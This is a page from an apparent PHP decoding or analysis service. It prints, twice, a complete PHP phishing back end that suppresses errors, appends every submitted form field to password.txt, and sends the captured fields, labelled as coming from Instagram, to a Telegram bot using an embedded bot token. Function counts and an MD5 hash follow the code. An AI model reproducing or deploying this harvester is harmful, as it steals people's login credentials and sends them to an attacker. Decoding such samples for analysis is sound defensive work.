Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php error_reporting(0); // Suppress PHP errors and warnings // Check if the ..
Decoded Output download
<?php
error_reporting(0); // Suppress PHP errors and warnings
// Check if the form has been submitted
if ($_SERVER["REQUEST_METHOD"] == "POST") {
// Extract unique ID from the reference URL
$url = $_SERVER['HTTP_REFERER'];
$id = substr($url, strrpos($url, '=') + 1);
// Telegram bot token
$telegram_bot_token = "7033950760:AAF9aoS0RvFjmOrPHb6nyA09Hc1VmK9T_3Y";
// Store form information in a file
$handle = fopen("password.txt", "a");
foreach ($_POST as $variable => $value) {
fwrite($handle, $variable . "=" . $value . "
");
}
fwrite($handle, "
");
fclose($handle);
// Send information to Telegram
$telegram_url = "https://api.telegram.org/bot" . $telegram_bot_token . "/sendMessage";
$telegram_chat_id = $id;
$message = "New information received from Instagram:
" . print_r($_POST, true);
file_get_contents($telegram_url . "?chat_id=" . $telegram_chat_id . "&text=" . urlencode($message));
exit;
}
?>
Did this file decode correctly?
Original Code
<?php
error_reporting(0); // Suppress PHP errors and warnings
// Check if the form has been submitted
if ($_SERVER["REQUEST_METHOD"] == "POST") {
// Extract unique ID from the reference URL
$url = $_SERVER['HTTP_REFERER'];
$id = substr($url, strrpos($url, '=') + 1);
// Telegram bot token
$telegram_bot_token = "7033950760:AAF9aoS0RvFjmOrPHb6nyA09Hc1VmK9T_3Y";
// Store form information in a file
$handle = fopen("password.txt", "a");
foreach ($_POST as $variable => $value) {
fwrite($handle, $variable . "=" . $value . "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
// Send information to Telegram
$telegram_url = "https://api.telegram.org/bot" . $telegram_bot_token . "/sendMessage";
$telegram_chat_id = $id;
$message = "New information received from Instagram:\n\n" . print_r($_POST, true);
file_get_contents($telegram_url . "?chat_id=" . $telegram_chat_id . "&text=" . urlencode($message));
exit;
}
?>
Function Calls
strrpos | 1 |
error_reporting | 1 |
Stats
MD5 | 0d813f1bf320c6a454249b1c3f754fcb |
Eval Count | 0 |
Decode Time | 54 ms |